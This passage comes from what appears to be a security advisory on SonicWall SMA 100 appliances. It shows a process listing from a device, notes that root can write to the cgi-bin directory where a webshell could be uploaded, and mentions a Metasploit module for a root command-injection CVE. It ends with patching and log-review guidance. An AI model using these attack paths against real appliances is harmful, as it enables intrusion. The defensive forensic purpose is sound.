root  	4284  0.0  0.0   1136	64 ?    	Ss   Nov27   0:00 ./busybox telnetd
root  	4301  0.0  0.0   3564  1768 pts/0	Ss+  Nov27   0:00 -cli
root  	4346  0.0  0.0   3488  1752 pts/1	Ss   Nov27   0:00 -cli
nobody   18542  0.0  0.2  25772 12268 ?    	S	07:41   0:00 /usr/src/EasyAccess/bin/httpd
nobody   21363  0.0  0.7  44288 29776 ?    	S	08:19   0:01 /usr/src/EasyAccess/bin/httpd
nobody   24039  0.0  0.7  44344 30100 ?    	S	08:55   0:00 /usr/src/EasyAccess/bin/httpd
nobody   24259  0.0  0.7  44288 29776 ?    	S	08:58   0:01 /usr/src/EasyAccess/bin/httpd
nobody   27511  0.0  0.7  44340 30128 ?    	S	09:42   0:01 /usr/src/EasyAccess/bin/httpd
nobody   30092  0.0  0.2  25772 12200 ?    	t	03:01   0:00 /usr/src/EasyAccess/bin/httpd
nobody   30331  1.1  0.7  44284 29316 ?    	S	10:20   0:00 /usr/src/EasyAccess/bin/httpd
nobody   30382  0.0  0.2  25700 11904 ?    	S	10:20   0:00 /usr/src/EasyAccess/bin/httpd
nobody   30391  0.0  0.2  25568  8788 ?    	S	10:20   0:00 /usr/src/EasyAccess/bin/httpd
nobody   30392  0.0  0.2  25568  8788 ?    	S	10:20   0:00 /usr/src/EasyAccess/bin/httpd
nobody   30394  0.0  0.2  25568  8788 ?    	S	10:20   0:00 /usr/src/EasyAccess/bin/httpd
nobody   30395  0.0  0.2  25568  8788 ?    	S	10:20   0:00 /usr/src/EasyAccess/bin/httpd
nobody   30396  0.0  0.2  25700 11908 ?    	S	10:20   0:00 /usr/src/EasyAccess/bin/httpd
nobody   30397  0.0  0.2  25568  8788 ?    	S	10:20   0:00 /usr/src/EasyAccess/bin/httpd
root 	30465  2.0  0.1  13776  4612 ?    	S	10:21   0:00 /usr/src/EasyAccess/www/spog/exportDiagnostics
root 	30599  0.0  0.0   3480  1420 ?    	S	10:21   0:00 sh -c ps awux>>/tmp/status.txt 2>&1
root 	30600  0.0  0.0   2556   880 ?    	R	10:21   0:00 ps awux

Finally, it’s important to note that the root user has write access to the web server’s cgi-bin directory (/usr/src/EasyAccess/www/cgi-bin/) which could allow them to upload a webshell to the system. As noted earlier, escalation to root via the nobody user is quite trivial. As such, reviewing the http_request.log for potential access to a webshell could be beneficial. However, modifications to cgi-bin will not persist between reboots (although whether a rebooted system is trust-worthy after exploitation is another matter).

We’ve published a Metasploit module for CVE-2021-20039 (authenticated command injection as root) that could allow for deeper forensic analysis. Although, it’s likely wise to consider what type of forensic effect you are having on a system by exploiting it yourself.

Guidance

Apply the patches provided by SonicWall. If possible, limit the exposure of the device to known good entities and enable a WAF that would prevent any type of address guessing attacks. Regularly review the system’s logs for potential exploitation. When possible, apply SonicWall’s guidance for SMA 100 series best security practices.